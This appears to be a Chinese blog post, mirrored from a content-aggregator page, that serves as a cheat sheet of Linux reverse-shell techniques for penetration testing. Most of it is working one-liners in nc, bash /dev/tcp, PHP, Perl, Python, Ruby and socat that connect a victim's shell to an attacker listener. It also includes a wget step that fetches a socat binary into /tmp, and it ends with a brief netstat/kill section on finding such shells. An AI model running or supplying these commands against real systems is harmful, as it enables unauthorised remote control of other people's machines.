zoukankan      html  css  js  c++  java
  • Linux 反弹 Shell

    攻击场景

    Attacker:192.168.0.106 win10

    Victim:192.168.2.140 kali

    NC 反弹 shell

    Netcat简介

    俗称瑞士军刀或NC,小巧强悍,可以读写TCP或UDP网络连接,它被设计成一个可靠的后端工具,能被其它的程序或脚本直接地或容易地驱动。

    同时,nc又是一个功能丰富的网络调试和开发工具,因为它可以建立你可能用到的几乎任何类型的连接,以及一些非常有意思的内建功能。渗透测试中,linux主机一般自带nc,Windows主机需要自行上传。

    姿势一

    如果目标主机(受害机)支持“-e”选项的话,我们就可以直接进行利用。

    ps:为什么我们要在受害机的shell中反弹shell,因为有时候我们所连接的shell,执行命令时没有回显。

    在Attack上开监听端口

    C:UsersJoker>nc -l -p 2222

    在受害机的shell中反弹shell

    (www-data:/var/www/html) $ nc 192.168.0.106 2222 -e /bin/bash

    在Attack上操作

    暂时只是一个没有命令提示符的shell

    在这里可以用python来得到一个有交互式的shell

    python -c "import pty; pty.spawn('/bin/bash')"    

    ps:python2/3

    姿势二

    利用 nc 与 管道 |

    mknod backpipe p; nc 192.168.88.129(监听IP) 8888(监听Port) 0<backpipe | /bin/bash 1>backpipe 2>backpipe

    mknod backpipe p; nc 192.168.0.106 8888 0<backpipe | /bin/bash 1>backpipe 2>backpipe

    使用管道符 | 连接nc的输出与bash的输入,使用自己创建的管道 backpipe连接/bin/bash的输出与nc的输入。
    优点:适用于nc的 -e参数被禁。
    缺点:会在当前目录下创建一个名为backpipe的管道文件,容易被管理员发现。

    bash 反弹 shell

    Attack监听

    nc -lvvp 7777

    Victim反弹

    bash -i >& /dev/tcp/192.168.0.106/8888 0>&1

    ps:

    bash -i是打开一个交互的bash。

    /dev/tcp/是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。同理,Linux中还存在/dev/udp/。

    php 反弹 shell

    Attack监听

    nc -lvvp 4444

    Victim反弹

    php -r '$sock=fsockopen("192.168.0.106",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
    php -r '$sock=fsockopen("192.168.0.106",4444);exec("/bin/bash -i <&3 >&3 2>&3");'

    perl 反弹 shell

    Attack监听

    nc -lvvp 4444

    Victim反弹

    perl -e 'use Socket;$i="192.168.0.106";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
    
    perl -e 'use Socket;$i="192.168.0.106";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'

    python 反弹 shell

    Attack监听

    nc -lvvp 5555

    Victim反弹

    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.106",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
    
    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.106",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

    ps:python2/3

    socat 反弹 shell

    Attack监听

    nc -lvvp 12345

    Victim反弹

    下载socat到/tmp目录下

    wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat 

    给socat授予可以执行权限

    chmod 755 /tmp/socat 

    反弹shell到目标主机的12345端口

    /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.0.106:12345        

    ruby 反弹 shell

    Attack监听

    nc -lvvp 5555

    Victim反弹

    ruby -rsocket -e'f=TCPSocket.open("192.168.0.106",5555).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

    排查&杀掉反弹 shell 

    Search Command

    → ∮ ← :~# netstat -anop | grep ESTABLISHED

    Kill Command

    kill -9 4065
  • 相关阅读:
    Dos命令%date:~0,10%
    SharePoint显示错误信息
    VM打开虚拟机文件报错
    Sharepoint2013切换用户菜单
    批量创建域用户
    通过数据库恢复SharePoint网站
    SharePoint2013修复报错
    js 循环
    js 正则表达式
    阶乘函数
  • 原文地址:https://www.cnblogs.com/qftm/p/11296735.html
Copyright © 2011-2022 走看看